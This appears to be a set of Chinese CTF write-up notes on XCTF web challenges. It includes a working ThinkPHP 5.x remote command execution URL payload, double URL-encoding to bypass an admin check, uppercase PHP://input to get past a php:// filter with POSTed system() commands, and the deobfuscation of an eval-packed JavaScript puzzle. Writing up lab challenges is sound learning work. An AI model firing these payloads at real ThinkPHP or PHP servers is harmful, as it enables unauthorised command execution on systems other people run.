ThinkPHP 5.x 远程执行命令漏洞
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
为对控制器进行过滤,所以攻击者可以通过引入\符号来调用任意类方法
漏洞利用
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php代码
XCTF- php_rce
payload:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
Linux find命令
语法:
find path -option [ -print ] [ -exec -ok command ] {} \;
如果 path 是空字串则使用目前路径,如果 expression 是空字串则使用 -print 为预设 expression。
https://www.runoob.com/linux/linux-comm-find.html
html乱码脚本处理
XCTF-NaNNaNNaNNaN-Batman
收获一个文件
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>
。。。?参考一下wp
所以必然是要分析这段代码了,首先看到一个输入框,所以尝试将该文件改为html后缀,以网页形式可以打开
代码中有一个eval执行函数,也就是执行了_变量中的内容,但是并没有执行$()函数,而仅仅执行了字符串,所以导致了乱码
将eval函数改为alert弹窗,可以将源码完整显示
整理得
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
所以flag看着也差不多了,满足所有if中的条件即可
即
e.length==16
e.match(/^be0f23/)!=null //开头匹配到be0f23
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null //以e98aa结尾
e.match(/c7be9/)!=null
所以构造e=be0f233ac7be98aa,在输入框里输入即可
还找到一些其他方法。。参考链接
https://blog.csdn.net/harry_c/article/details/97698717?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
跑个小小小小小脚本
https://blog.csdn.net/zz_Caleb/article/details/89283180
XCTF-PHP2
一打开真的觉得啥都没有
phps文件就是php的源代码文件。 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
涨姿势了
访问/index.phps
<?php
if("admin"===$_GET[id]) { //admin被过滤
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]); //若传入id=admin,则admin传到id里时已经被浏览器解码一次
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
urldecode()很醒目,应该是二次编码有关,浏览器在上传数据时,会对参数值进行一次解码,而php代码中的函数又再解码一次。例如d的url编码为%64,再编码一次就是%2564
今天直接收集一张图吧
出flag的条件是
"admin" === $_GET[id]不成立
$_GET[id]经过处理后又 == "admin"
admin的url编码:
%61%64%6D%69%6E
admin二次编码值:%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
->?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
简单一点
->?id=%2561dmin
XCTF-Web_php_include
看到这个名字就觉得应该和php伪协议有点关系
<?php
show_source(__FILE__);
echo $_GET['hello'];$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);?>
果然还是有点关系,之前做题的时候查的
strstr()函数,查看str2是不是str1的子串,是的话返回str1从str2第一次出现的位置开始到str1结尾的位置,否则返回NULL,对大小写敏感
所以可以通过php://input 传入命令,查看php的位置
1.通过大写绕过strstr
?page=PHP://input
2.查看目录 POST
<?php system("ls");?>
3.查看flag POST
<?php system("cat fl4gisisish3r3.php");?>